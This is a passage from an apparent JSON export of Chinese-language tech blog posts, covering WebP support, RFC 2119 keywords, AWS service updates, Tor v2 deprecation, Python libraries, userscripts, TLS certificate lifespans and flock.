另外一個痛點是在 <a href=\"https://www.apple.com/safari/\">Safari</a> 上的支援度，在 <a href=\"https://caniuse.com/\">caniuse.com</a> 的「<a href=\"https://caniuse.com/#feat=webp\">WebP image format</a>」這邊可以看到目前各瀏覽器都支援了，就剩下 Safari 還不支援，所以目前在 iOS 上得降回 JPEG：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yPpLeOr.webp\" /><img src=\"https://i.gslin.com/imgur/yPpLeOr.jpg\" alt=\"\" /></picture>\r\n\r\n不過這點之後也改變了，在 iOS 14 beta 裡的 Safari 可以看到支援 WebP 了：「<a href=\"https://developer.apple.com/documentation/safari-release-notes/safari-14-beta-release-notes\">Safari 14 Beta Release Notes</a>」。\r\n\r\n<blockquote>Media\r\nNew Features\r\nAdded WebP image support.</blockquote>\r\n\r\n所以這個狀況變得有點微妙了...",
    "title": "WebP 的檔案大小未必比 JPEG 小..."
  },
  {
    "id": "9589",
    "body": "讀 RFC 文件時常看到會使用這組定義，甚至有些非 RFC 文件也會使用：\r\n\r\n<blockquote>The key words \"MUST\", \"MUST NOT\", \"REQUIRED\", \"SHALL\", \"SHALL NOT\", \"SHOULD\", \"SHOULD NOT\", \"RECOMMENDED\",  \"MAY\", and \"OPTIONAL\" in this document are to be interpreted as described in RFC 2119.</blockquote>\r\n\r\n這邊提到的 RFC 2119 就是 1997 年訂的「<a href=\"https://tools.ietf.org/html/rfc2119\">Key words for use in RFCs to Indicate Requirement Levels</a>」這篇，以 2020 年的現在來說，這組定義已經被人熟知，用這組定義可以讓閱讀的人很輕鬆的了解條件的強制性。\r\n\r\n剛剛在讀新的文件時發現這段文字有更新，往回查發現是針對大小寫的差異提出更新：「<a href=\"https://tools.ietf.org/html/rfc8174\">Ambiguity of Uppercase vs Lowercase in RFC 2119 Key Words</a>」，主要是這兩條：\r\n\r\n<ul>\r\n\t<li>The words have the meanings specified herein only when they are in all capitals.</li>\r\n\t<li>When these words are not capitalized, they have their normal English meanings and are not affected by this document.</li>\r\n</ul>\r\n\r\n然後也更新了引用的部份：\r\n\r\n<blockquote>The key words \"MUST\", \"MUST NOT\", \"REQUIRED\", \"SHALL\", \"SHALL NOT\", \"SHOULD\", \"SHOULD NOT\", \"RECOMMENDED\", \"NOT RECOMMENDED\", \"MAY\", and \"OPTIONAL\" in this document are to be interpreted as described in BCP 14 [RFC2119] [RFC8174] when, and only when, they appear in all capitals, as shown here.</blockquote>\r\n\r\n不過就算是 2017 年之前應該也是這樣讀就是了...",
    "title": "RFC 裡面的 MUST/SHOULD/MAY"
  },
  {
    "id": "9591",
    "body": "看到 <a href=\"https://github.com/maxgoedjen/secretive\">Secretive</a> 這個專案，是利用蘋果的 <a href=\"https://support.apple.com/guide/security/secure-enclave-overview-sec59b0b31ff/web\">Secure Enclave</a> 機制，把 SSH private key 放進去在裡面進行運算，避免 private key 檔案被惡意程式讀取就洩漏出去了。\r\n\r\n從 Secure Enclave 的介紹頁面可以看到這個需要有 T1 或是 T2 晶片才有 Secure Enclave 功能：\r\n\r\n<blockquote>Mac computers that contain the T1 chip or the Apple T2 Security Chip</blockquote>\r\n\r\n而從 <a href=\"https://en.wikipedia.org/wiki/Apple_Silicon\">Apple Silicon</a> 這邊可以看到 Apple T1 chip 是 2016 年後的機種引入的：\r\n\r\n<blockquote>The Apple T1 chip is an ARMv7 SoC (derived from the processor in S2 SiP) from Apple driving the System Management Controller (SMC) and Touch ID sensor of the 2016 and 2017 MacBook Pro with Touch Bar.</blockquote>\r\n\r\n然後對於沒有 Secure Enclave 的古董機，可以透過有支援 smart card 的硬體掛上去，像是 <a href=\"https://www.yubico.com/products/\">YubiKey</a>：\r\n\r\n<blockquote>For Macs without Secure Enclaves, you can configure a Smart Card (such as a YubiKey) and use it for signing as well.</blockquote>\r\n\r\n照著他講的建議去翻了「<a href=\"https://support.yubico.com/support/solutions/articles/15000006456-yubikey-smart-card-deployment-guide\">YubiKey Smart Card Deployment Guide</a>」這邊的資料，看起來 YubiKey 在 4 系列之後就有產品支援 Smart Card 了，不過要注意純 <a href=\"https://en.wikipedia.org/wiki/Universal_2nd_Factor\">U2F</a> 的版本沒支援。",
    "title": "把 SSH Key 放進 Secure Enclave 裡保護"
  },
  {
    "id": "9593",
    "body": "有陣子沒寫了，來還個債...\r\n\r\n這個系列是從『<a href=\"https://blog.gslin.org/archives/2020/02/15/9408/mit-%e7%9a%84%e3%80%8cthe-missing-semester-of-your-cs-education%e3%80%8d/\">MIT 的「The Missing Semester of Your CS Education」</a>』這邊延伸出來的，這邊講的是「<a href=\"https://missing.csail.mit.edu/2020/data-wrangling/\">Data Wrangling</a>」這篇。\r\n\r\n這篇是在講 pipe 的用法，在講這些工具之前，其實有個很重要的概念應該要說明 (但沒有在這篇文章裡被提到)，也就是 <a href=\"https://en.wikipedia.org/wiki/Unix_philosophy\">Unix philosophy</a>，這個哲學是指 unix 環境下的工具，都會設計成只做好一件事情。\r\n\r\n而要怎麼把這些工具串起來，最常見的就是 pipe，你可以在文章裡看到 <a href=\"https://en.wikipedia.org/wiki/Grep\">grep</a>、<a href=\"https://en.wikipedia.org/wiki/Sed\">sed</a> 與 <a href=\"https://en.wikipedia.org/wiki/Sort_(Unix)\">sort</a> 這些工具的用法，以及怎麼用 pipe 串起來。\r\n\r\n這邊剛好也可以提一下，利用 pipe 可以把不同功能打散到不同的 process 上，剛好也可以稍微利用到現在常見的多 CPU 的環境。\r\n\r\n另外上面因為提到了 grep，文章內花了不少篇幅在講 <a href=\"https://en.wikipedia.org/wiki/Regular_expression\">Regular expression</a> 這個在 CS 課程裡面也是重要的基礎。\r\n\r\n會放這種篇幅長度，一方面是 Regular expression 的實用性很高，另外一方面，學術上與自動機理論中的 <a href=\"https://en.wikipedia.org/wiki/Deterministic_finite_automaton\">DFA</a> 與 <a href=\"https://en.wikipedia.org/wiki/Nondeterministic_finite_automaton\">NFA</a> 都有關，算是學習計算理論的起點：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jOPlDaO.webp\" /><img src=\"https://i.gslin.com/imgur/jOPlDaO.jpg\" alt=\"\" /></picture>\r\n\r\n然後後面就有提到 <a href=\"https://en.wikipedia.org/wiki/AWK\">AWK</a> 這個工具，這邊要注意的是，雖然可以用 <a href=\"https://www.perl.org/\">Perl</a> 之類的工具作到類似的事情 (而且更強大)，但 AWK 有被放到 <a href=\"https://en.wikipedia.org/wiki/POSIX\">POSIX</a> 標準裡，所以在各種作業系統內幾乎都一定會出現，加上語法算是簡單，學起來還是很有幫助...\r\n\r\n然後再最後面的段落冒出一個 <a href=\"https://en.wikipedia.org/wiki/Gnuplot\">gnuplot</a> 畫個圖，以及示範 <a href=\"https://en.wikipedia.org/wiki/Xargs\">xargs</a> 這種神器要怎麼用 (這邊會更建議看一下 manpage，可以配合 <a href=\"https://en.wikipedia.org/wiki/Find_(Unix)\">find</a> 之類的工具用，並且平行化同時處理)。\r\n\r\n然後最後示範了 binary data 怎麼處理。",
    "title": "第四堂：「Data Wrangling」"
  },
  {
    "id": "9596",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 總算推出可以管理 IP 列表的功能 Managed Prefix Lists，就不需要自己在 security group 裡面針對一堆 IP 設重複的設定：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2020/06/amazon-virtual-private-cloud-customers-use-prefix-lists-simplify-configuration-security-groups-route-tables/\">Amazon Virtual Private Cloud (VPC) customers can now use their own Prefix Lists to simplify the configuration of security groups and route tables</a>」。\r\n\r\n目前這個功能在大多數的區域都開放使用了：\r\n\r\n<blockquote>There is no additional charge to use the Prefix Lists. Support for Prefix Lists is available in all public regions with support in Africa (Cape Town), Europe (Milan), China (Beijing), and China (Ningxia) coming soon. For more information on prefix lists, visit our public documentation.</blockquote>\r\n\r\n但實際測試後發現在 web console 的操作上不算好用，主要是因為這個功能還是會受到「<a href=\"https://aws.amazon.com/premiumsupport/knowledge-center/increase-security-group-rule-limit/\">How do I increase my security group limits in Amazon VPC?</a>」這邊提到的限制影響，如果沒有開 support ticket 調高限制，預設值是：\r\n\r\n<ul>\r\n\t<li>每個 network interface 可以設定 5 個 security group。</li>\r\n\t<li>每個 security group 可以設定 60 條規則。</li>\r\n</ul>\r\n\r\n在建立 prefix list 時，需要設定「裡面會包含的最大數量」(可以到 1000)，是一個你不知道為什麼要設定的東西，然後我就很開心設了 1000...\r\n\r\n接下來開了一個純測試用的 security group (裡面是空的)，結果這個 prefix list 掛不上去...\r\n\r\n後來測了幾次後發現 prefix list 在 security 內不是吃一條 rule，而是直接照剛剛設定的「最大數量」去展開。\r\n\r\n所以重新砍掉建一個新的 prefix list，改成 15 條後，就可以在 security group 上面掛四次 prefix list (不同的 port)，剛好吃完 60 條規則，第五個設定就完全掛不上去... (無論是用 prefix list，或是設定 CIDR)\r\n\r\n所以這些限制讓 prefix list 在 web console 上變得很不怎麼好用：\r\n\r\n<ul>\r\n\t<li>一開始就要設計好 prefix list 內的最大筆數，如果不幸用完是沒辦法修改的。</li>\r\n\t<li>在 security group 裡不是吃一條規則，而是以最大筆數佔用，prefix list 內沒有射到最大筆數也還是得佔用。</li>\r\n</ul>\r\n\r\n但如果變成 <a href=\"https://www.terraform.io/\">Terraform</a> 之類的工具用的話就還馬馬虎虎，因為你可以設計機制，改 prefix list 時可以開新的 prefix list (最大上限設成實際的數量，不會有浪費)，然後再把 security group 裡面的 prefix list reference 換掉。\r\n\r\n不過又想到，都已經用 Terraform 這種工具了，加上你又不是只佔一條規則，我就自己展開就好了啊... 不需要這個功能就能處理了。\r\n\r\n「雞肋」XD",
    "title": "雞肋功能：AWS 推出 Managed Prefix Lists 管理 IP 列表"
  },
  {
    "id": "9597",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈提昇 <a href=\"https://aws.amazon.com/efs/\">Amazon EFS</a> 的最低效率：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2020/06/amazon-efs--increases-file-system-minimum-throughput/\">Amazon Elastic File System increases file system minimum throughput</a>」。\r\n\r\n第一段裡的幾個數字差不多就是重點了：\r\n\r\n<blockquote>Amazon Elastic File System (Amazon EFS) file systems using the default bursting throughput mode now have a minimum throughput of 1 MiB/s. All EFS bursting mode file systems (regardless of size) can drive 100 MiB/s of throughput, and file systems with more than 1TiB of Standard class storage can drive 100 MiB/s per TB when burst credits are available. This change increases the minimum throughput from 50KiB/s per GiB of Standard class storage to a fixed minimum of 1 MiB/s for file systems with less than 20 GiB of Standard class storage, when burst credits are exhausted.</blockquote>\r\n\r\n本來最低保證效率是每 GB 提供 50KB/sec，也就是要使用到 20GB 才會提供 1MB/sec，現在對於不到 20GB 的使用者，直接拉高到固定 1MB/sec。\r\n\r\n這對於剛開始用的使用者會方便一些，不過 EFS 主要還是方便在不同機器上共享，效率上還是本機掛 <a href=\"https://aws.amazon.com/ebs/\">EBS</a> 好很多 (因為 OS 可以 cache)。\r\n\r\n先前在 AWS 上把 <code>/home</code> 丟到 EFS 上面，結果因為 i/o 都需要透過網路的關係，編 <a href=\"https://github.com/pyenv/pyenv\">pyenv</a> 超慢，後來找一天把東西都丟回 EBS 上，速度快多了...",
    "title": "AWS 宣佈提昇 Amazon EFS 的最低效率"
  },
  {
    "id": "9598",
    "body": "<a href=\"https://aws.amazon.com/ses/\">Amazon SES</a> 是 2011 年年初發表的服務，過了九年總算想起來這幾區也是需要 SES 的服務了...：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2020/07/amazon-ses-available-ohio-singapore-tokyo-seoul-regions/\">Amazon Simple Email Service is now available in the US East (Ohio), Asia Pacific (Singapore), Asia Pacific (Tokyo), and Asia Pacific (Seoul) Regions</a>」。\r\n\r\n這些年來大家應該都是用 <code>us-west-2</code> 或是 <code>us-east-1</code> workaround 很久了，現在開這些區域主要還是讓 API 的整合會比較方便，如果本來就是透過 IAM user + username + password 的方式寄信的話就沒什麼差...\r\n\r\n另外一種是寄比較大的信件 (產生的流量很大)，這次這樣可以避免降低跨區而被收兩次流量費用，不過這應該是比較少見的情況...",
    "title": "Amazon SES 開東京區與新加坡區了..."
  },
  {
    "id": "9600",
    "body": "<a href=\"https://www.torproject.org/\">Tor</a> 這邊給出了 Onion Service v2 的退場計畫：「<a href=\"https://blog.torproject.org/v2-deprecation-timeline\">Onion Service version 2 deprecation timeline</a>」，關於 v2 與 v3 的差異，可以參考之前寫的「<a href=\"https://blog.gslin.org/archives/2017/11/03/7725/%E4%B8%8B%E4%B8%80%E4%BB%A3%E7%9A%84-tor-hidden-service/\">下一代的 Tor Hidden Service</a>」，裡面有提到 v3 的 spec。\r\n\r\nv2 與 v3 最大的差異就是本來 v2 的 hostname 是 16 個英數字 (大約是 80-bit security)，現在 v3 變成是 56 個英數字 (大約是 280-bit security)，大幅降低 collision 的機會。\r\n\r\n目前公佈的時間表是在 2020 年九月先拋警告出來，2021 年七月拔掉 server 支援，2021 年十月拔掉 client 支援：\r\n\r\n<blockquote>1. September 15th, 2020\r\n0.4.4.x: Tor will start warning onion service operators and clients that v2 is deprecated and will be obsolete in version 0.4.6.\r\n \r\n2. July 15th, 2021\r\n0.4.6.x: Tor will no longer support v2 and support will be removed from the code base.\r\n \r\n3. October 15th, 2021\r\nWe will release new Tor client stable versions for all supported series that will disable v2.</blockquote>\r\n\r\n差不多是十五個月的計畫...",
    "title": "Onion Service 第二版的退場計畫"
  },
  {
    "id": "9601",
    "body": "翻 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 翻到的奇怪工具 <a href=\"https://github.com/alfiopuglisi/guietta\">guietta</a>，可以在 <a href=\"https://www.python.org/\">Python</a> 下用奇怪的方法刻 GUI，範例就很好解釋了調性：\r\n\r\n<small><small><pre>from guietta import _, Gui, Quit\r\n\r\ngui = Gui(\r\n    \r\n  [  'Enter numbers:', '__a__'  , '+' , '__b__',  ['Calculate'] ],\r\n  [  'Result:  --&gt;'  , 'result' ,  _  ,    _   ,       _        ],\r\n  [  _               ,    _     ,  _  ,    _   ,      Quit      ]\r\n)\r\n\r\nwith gui.Calculate:\r\n    gui.result = float(gui.a) + float(gui.b)\r\n    \r\ngui.run()</pre></small></small>\r\n\r\n然後 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 下的輸出會是：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lhWO6vG.webp\" /><img src=\"https://i.gslin.com/imgur/lhWO6vG.jpg\" alt=\"\" /></picture>\r\n\r\n在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 的討論串「<a href=\"https://news.ycombinator.com/item?id=23721548\">Guietta – Python module to create simple GUIs (github.com)</a>」這邊有人也介紹了其他 Python 下刻 GUI 的方式，翻了一下也還不少有趣的東西。\r\n\r\nguietta 看起來拿來刻一些簡單的東西應該還算堪用，尤其是討論裡面有提到在教學授課時可以簡化不少 interface 的問題。",
    "title": "用 Python 刻 GUI 的 guietta"
  },
  {
    "id": "9602",
    "body": "目前的 userscript 支援這四種啟動時機 (用 <code>@run-at</code> 參數指定)：\r\n\r\n<ul>\r\n\t<li>document-start (一開始就跑)</li>\r\n\t<li>document-body (出現 body 後跑)</li>\r\n\t<li>document-end (DOMContentLoaded 時，或是之後跑)</li>\r\n\t<li>document-idle (DOMContentLoaded 後跑)</li>\r\n</ul>\r\n\r\n但對於 SPA 類的頁面來說，即使用到 <code>document-idle</code>，也不保證執行時頁面已經渲染完成，這時候可能是 framework 才正要開始處理頁面的時候。\r\n\r\n如果我們的 userscript 想要「等」這些 framework 處理完後再開始跑，其中一種 workaround 是用 <code>setTimeout()</code> 等，但這樣很容易被 side effect 影響，像是電腦慢一點的時候還是會失敗，而如果 <code>setTimeout()</code> 時間拉太長體驗又不好：\r\n\r\n<pre>setTimeout(() =&gt; {\r\n    // ...\r\n}, 1000);\r\n</pre>\r\n\r\n比較好的方式是用 <code>MutationObserver()</code> 聽事件，在每次有新元素插入時判斷是否達成條件，處理完成後再停止聽事件 (避免持續影響效能)：\r\n\r\n<pre>let observer = new MutationObserver(() =&gt; {\r\n    // ...\r\n    // observer.disconnect();\r\n});\r\n\r\nobserver.observe(document.documentElement, {\r\n    attributes: false,\r\n    childList: true,\r\n    subtree: true,\r\n});</pre>\r\n\r\n有些 library 有把這段包起來，但看了使用方式覺得很複雜 (因為要支援比較多的情境)，反而是自己把 <code>MutationObserver()</code> 的概念搞清楚後，用這幾行包起來還比較簡單...",
    "title": "Userscript 內對於 SPA 類的頁面的修改"
  },
  {
    "id": "9603",
    "body": "前幾天在虛擬機內的 Windows 突然被裝了新版的 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Edge\">Edge</a>，發現國外也有報導出來了：「<a href=\"https://www.theverge.com/21310611/microsoft-edge-browser-forced-update-chromium-editorial\">With Edge, Microsoft’s forced Windows updates just sank to a new low</a>」。\r\n\r\n這次是 Windows Update 推進來的，即使在 Windows 7 上已經 EoL (2020/01/14)，不會有任何安全性更新，微軟也是濫用透過這個方式推進來：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">If windows 7 isn&#39;t supported then why did my Work machine automatically install Microsoft EDGE last night :|</p>&mdash; DJ_Uchuu - Silicon Dreams Comin&#39; 3rd July ?? (@DjUchuu) <a href=\"https://twitter.com/DjUchuu/status/1277892411994386433?ref_src=twsrc%5Etfw\">June 30, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這種方式也都讓大家想到與 antitrust 的關係：\r\n\r\n<blockquote>It all immediately made me think: what would the antitrust enforcers of the ‘90s, who punished Microsoft for bundling Internet Explorer with Windows, think about this modern abuse of Microsoft’s platform?</blockquote>\r\n\r\n到底會不會觸發呢...",
    "title": "微軟透過 Windows Update 強制安裝新版 Edge"
  },
  {
    "id": "9605",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 看到這個東西：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"zh\" dir=\"ltr\">越来越多地看繁体中文内容，我在想有没有一个 Chrome 插件可以让我在页面搜索的时候忽略繁简，类似于 Case Insensitive Search，可能可以通过 OpenCC 项目实现吧。?</p>&mdash; Ying Zhong (@cyanapps) <a href=\"https://twitter.com/cyanapps/status/1280832920245026816?ref_src=twsrc%5Etfw\">July 8, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n翻了一下這邊講的 <a href=\"https://github.com/BYVoid/OpenCC\">OpenCC</a> 專案，以目前有提供的 json 檔來看，分的算蠻細的，看起來有對不少種類的漢文 (包括日文使用到的漢字) 都有支援。\r\n\r\n這個看起來很適合用在搜尋引擎上... 翻了一下 <a href=\"https://en.wikipedia.org/wiki/Elasticsearch\">Elasticsearch</a> 上的情況，看起來目前沒有人有支援，可能要寫個 plugin 之類的掛進去，或是在 index 前先自己處理過再丟進 Elasticsearch 內。",
    "title": "繁簡轉換的 OpenCC 專案"
  },
  {
    "id": "9606",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的 <a href=\"https://www.python.org/\">Python</a> 專案，讓 terminal 輸出變得更好看：「<a href=\"https://github.com/willmcgugan/rich\">Rich is a Python library for rich text and beautiful formatting in the terminal.</a>」。\r\n\r\n看到當下吸引我的地方在於表格：\r\n\r\n<pre>from rich.console import Console\r\nfrom rich.table import Column, Table\r\n\r\nconsole = Console()\r\n\r\ntable = Table(show_header=True, header_style=\"bold magenta\")\r\ntable.add_column(\"Date\", style=\"dim\", width=12)\r\ntable.add_column(\"Title\")\r\ntable.add_column(\"Production Budget\", justify=\"right\")\r\ntable.add_column(\"Box Office\", justify=\"right\")\r\ntable.add_row(\r\n    \"Dev 20, 2019\", \"Star Wars: The Rise of Skywalker\", \"$275,000,000\", \"$375,126,118\"\r\n)\r\ntable.add_row(\r\n    \"May 25, 2018\",\r\n    \"[red]Solo[/red]: A Star Wars Story\",\r\n    \"$275,000,000\",\r\n    \"$393,151,347\",\r\n)\r\ntable.add_row(\r\n    \"Dec 15, 2017\",\r\n    \"Star Wars Ep. VIII: The Last Jedi\",\r\n    \"$262,000,000\",\r\n    \"[bold]$1,332,539,889[/bold]\",\r\n)\r\n\r\nconsole.print(table)</pre>\r\n\r\n輸出長這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/er8KWIv.webp\" /><img src=\"https://i.gslin.com/imgur/er8KWIv.jpg\" alt=\"\" /></picture>\r\n\r\n另外還有不少功能也不錯，會讓畫面豐富不少。",
    "title": "讓 Python 輸出變豐富的 Rich"
  },
  {
    "id": "9607",
    "body": "看到「<a href=\"https://brython.info/\">A Python 3 implementation for client-side web programming</a>」這個專案，在瀏覽器裡把 <a href=\"https://www.python.org/\">Python</a> 程式碼用 <code>&lt;script type=\"text/plain\"&gt;&lt;/script&gt;</code> 包起來，然後掛個 js 進去，就可以在瀏覽器裡面跑 Python 操作 DOM：\r\n\r\n<blockquote>Brython is designed to replace Javascript as the scripting language for the Web. As such, it is a Python 3 implementation (you can take it for a test drive through a web console), adapted to the HTML5 environment, that is to say with an interface to the DOM objects and events.</blockquote>\r\n\r\n另外在 <a href=\"https://brython.info/speed_results.html\">Brython 3.8.9 performance compared to CPython 3.8.0</a> 這頁也有跟 CPython 的比較 (看起來是用 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 測的)，其實速度看起來不慢？我猜是 JS 這邊的軍備競賽把整個引擎弄的超快 XDDD",
    "title": "在瀏覽器內跑 Python"
  },
  {
    "id": "9608",
    "body": "這個 OCR 專案是在 <a href=\"https://www.python.org/\">Python</a> 包好，讓你很快就可以上手用：「<a href=\"https://github.com/JaidedAI/EasyOCR\">Easy OCR</a>」。\r\n\r\n從結果的 screenshot 可以看到輸出的內容很簡單，就是座標與 OCR 出來的內容：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ahznNjE.webp\" /><img src=\"https://i.gslin.com/imgur/ahznNjE.jpg\" alt=\"\" /></picture>\r\n\r\n然後支援的語言很多：\r\n\r\n<blockquote>We are currently supporting following 42 languages.\r\n\r\nAfrikaans (af), Azerbaijani (az), Bosnian (bs), Simplified Chinese (ch_sim), Traditional Chinese (ch_tra), Czech (cs), Welsh (cy), Danish (da), German (de), English (en), Spanish (es), Estonian (et), French (fr), Irish (ga), Croatian (hr), Hungarian (hu), Indonesian (id), Icelandic (is), Italian (it), Japanese (ja), Korean (ko), Kurdish (ku), Latin (la), Lithuanian (lt), Latvian (lv), Maori (mi), Malay (ms), Maltese (mt), Dutch (nl), Norwegian (no), Polish (pl), Portuguese (pt),Romanian (ro), Slovak (sk) (need revisit), Slovenian (sl), Albanian (sq), Swedish (sv),Swahili (sw), Thai (th), Tagalog (tl), Turkish (tr), Uzbek (uz), Vietnamese (vi)</blockquote>\r\n\r\n有些參數可以調整，但預設值似乎就跑得不錯了...",
    "title": "Python 上的 OCR"
  },
  {
    "id": "9609",
    "body": "是因為看到「<a href=\"https://slackhq.com/limelight-networks-sales-slack-connect\">How Limelight Networks speeds up sales deals with Slack Connect</a>」這篇，才想到 <a href=\"https://www.limelight.com/\">Limelight Networks</a> 這家 CDN 之前也是這個產業很大的 vendor，在很多大型網站可以看到 <code>llnw</code> 的蹤跡 (當時 <a href=\"https://www.microsoft.com/\">Microsoft</a> 的 Windows Updates 與 <a href=\"https://www.apple.com/\">Apple</a> 的軟體下載還會用他的服務)，但這十年看起來就被 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 與 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 以及 <a href=\"https://www.fastly.com/\">Fastly</a> 這些後起之秀超越過去了... (至少在聲量上面是這樣)\r\n\r\n翻到 <a href=\"https://www.limelight.com/network-map/\">Global Private Network</a> 這頁，意外發現現在有把節點列出來了，記得以前是不公開的...\r\n\r\n在裡面可以看到台灣也有節點，不過拿 <a href=\"https://www.hinet.net/\">HiNet</a> 與 APOL (家裡的 cable) 實際測官網 <code>www.limelight.com</code>，發現都是導去香港的點，可能是有需要的客戶才會導過去，之後有機會也許問問看...",
    "title": "回頭來看一下 Limelight Networks"
  },
  {
    "id": "9610",
    "body": "在「<a href=\"https://blog.mozilla.org/security/2020/07/09/reducing-tls-certificate-lifespans-to-398-days/\">Reducing TLS Certificate Lifespans to 398 Days</a>」這邊看到才想起來沒寫這篇，這邊發生了一些有趣的事情...\r\n\r\n提案是降低 TLS 憑證的有效時效，這件事情一開始是在 <a href=\"https://cabforum.org/\">CA/B Forum</a> 討論，但經過投票後沒有通過：「<a href=\"https://cabforum.org/2019/09/10/ballot-sc22-reduce-certificate-lifetimes-v2/\">Ballot SC22 - Reduce Certificate Lifetimes (v2)</a>」。\r\n\r\n從投票記錄可以看到所有的憑證使用方 (包括了許多瀏覽器的廠商) 都贊同，但有大約 2/3 的憑證發行方都反對：\r\n\r\n<blockquote>7 votes total including abstentions:\r\n\r\n<ul>\r\n\t<li>7 Yes votes: Apple, Cisco, Google, Microsoft, Mozilla, Opera, 360</li>\r\n\t<li>0 No votes:</li>\r\n\t<li>0 Abstain:</li>\r\n</ul></blockquote>\r\n\r\n<blockquote>33 votes total including abstentions\r\n\r\n<ul>\r\n\t<li>11 Yes votes: Amazon, Buypass, Certigna (DHIMYOTIS), certSIGN, Sectigo (former Comodo CA), eMudhra, Kamu SM, Let’s Encrypt, Logius PKIoverheid, SHECA, SSL.com</li>\r\n\t<li>20 No votes: Camerfirma, Certum (Asseco), CFCA, Chunghwa Telecom, Comsign, D-TRUST, DarkMatter, Entrust Datacard, Firmaprofesional, GDCA, GlobalSign, GoDaddy, Izenpe, Network Solutions, OATI, SECOM, SwissSign, TWCA, TrustCor, SecureTrust (former Trustwave)</li>\r\n\t<li>2 Abstain: HARICA, TurkTrust</li>\r\n</ul></blockquote>\r\n\r\n然後幾個比較大的憑證使用方 (<a href=\"https://www.apple.com/\">Apple</a>、<a href=\"https://www.google.com/\">Google</a>、<a href=\"https://www.mozilla.org/\">Mozilla</a>) 在提案被否決後就決定放到自家的規則了：「<a href=\"https://www.zdnet.com/article/apple-strong-arms-entire-ca-industry-into-one-year-certificate-lifespans/\">Apple strong-arms entire CA industry into one-year certificate lifespans</a>」。\r\n\r\n從 2020/09/01 開始，如果發出來的憑證超過 398 天就當作是無效憑證，也就是 2020/08/31 是最後一天可以發有效期限為 825 天的憑證，會落在 2022/12/05 失效：\r\n\r\n<pre>$ date --date='Sep 1 2020 GMT+0000 +825days'\r\nMon Dec  5 08:00:00 CST 2022</pre>\r\n\r\n這三家搞下去，就等於是強制性讓這些 CA 到九月就不能賣兩年的憑證了 (雖然還沒看到 <a href=\"https://www.microsoft.com/\">Microsoft</a>)，這些 CA 一定是在心裡幹爆... XD",
    "title": "TLS 憑證的最長時效將從 825 天降到 398 天"
  },
  {
    "id": "9612",
    "body": "<a href=\"https://linux.die.net/man/1/flock\">flock(1)</a> 是個好用的工具，可以避免指令同時重複執行。基本的用法是：\r\n\r\n<pre>flock /tmp/example.lock /usr/bin/example</pre>\r\n\r\n從這邊的 <code>/tmp/example.lock</code> 可以看出是透過檔案系統層的鎖實做的，也因為這樣的設計，所以用在 <a href=\"https://en.wikipedia.org/wiki/Network_File_System\">NFS</a> 上時，可以規劃出跨機器的鎖定機制。(不過要注意舊版的 NFSv2/NFSv3 是可以刻意不跑 lock daemon 的，這樣就爛掉了 XD)\r\n\r\n配合 crontab 執行時，<code>-n</code> 也是常用的選項，用在「這次沒跑也沒關係」的東西上，通常用在是計算出來後丟到 cache 內的程式，跑比較久的時候就跳過這次...",
    "title": "用 flock 防止指令同時間重複執行"
  },
  {
    "id": "9613",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的有趣服務，給起點與終點，以及想要有的長度，可以幫你拉一條差不多長度的路徑出來，可以提供給慢跑或是騎腳踏車的人規劃路線：「<a href=\"https://trailrouter.com/\">Trail Router</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LhQ2HBl.webp\" /><img src=\"https://i.gslin.com/imgur/LhQ2HBl.jpg\" alt=\"\" /></picture>\r\n\r\n然後發現原來公司對面有 <a href=\"https://www.youbike.com.tw/\">YouBike</a> 站點... XD\r\n\r\n這個服務的作者有在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上接受大家的詢問，可以到 Hacker News 上討論的頁面看一下作者的回應：「<a href=\"https://news.ycombinator.com/item?id=23802317\">Show HN: Trail Router – generate running routes that prefer greenery and nature (trailrouter.com)</a>」。\r\n\r\n另外值得一提的是，這個服務用了 <a href=\"https://www.mapbox.com/\">Mapbox</a> 的圖資 (跟 <a href=\"https://www.openstreetmap.org/\">OpenStreetMap</a> 有關)，看起來台北地區的呈現已經遠超過以前「堪用」的程度了，以後如果有需要用到的話可以考慮看看，就不一定要綁在 <a href=\"https://www.google.com/maps/\">Google Maps</a> 上了...",
    "title": "安排路線的服務 Trail Router"
  },
  {
    "id": "9614",
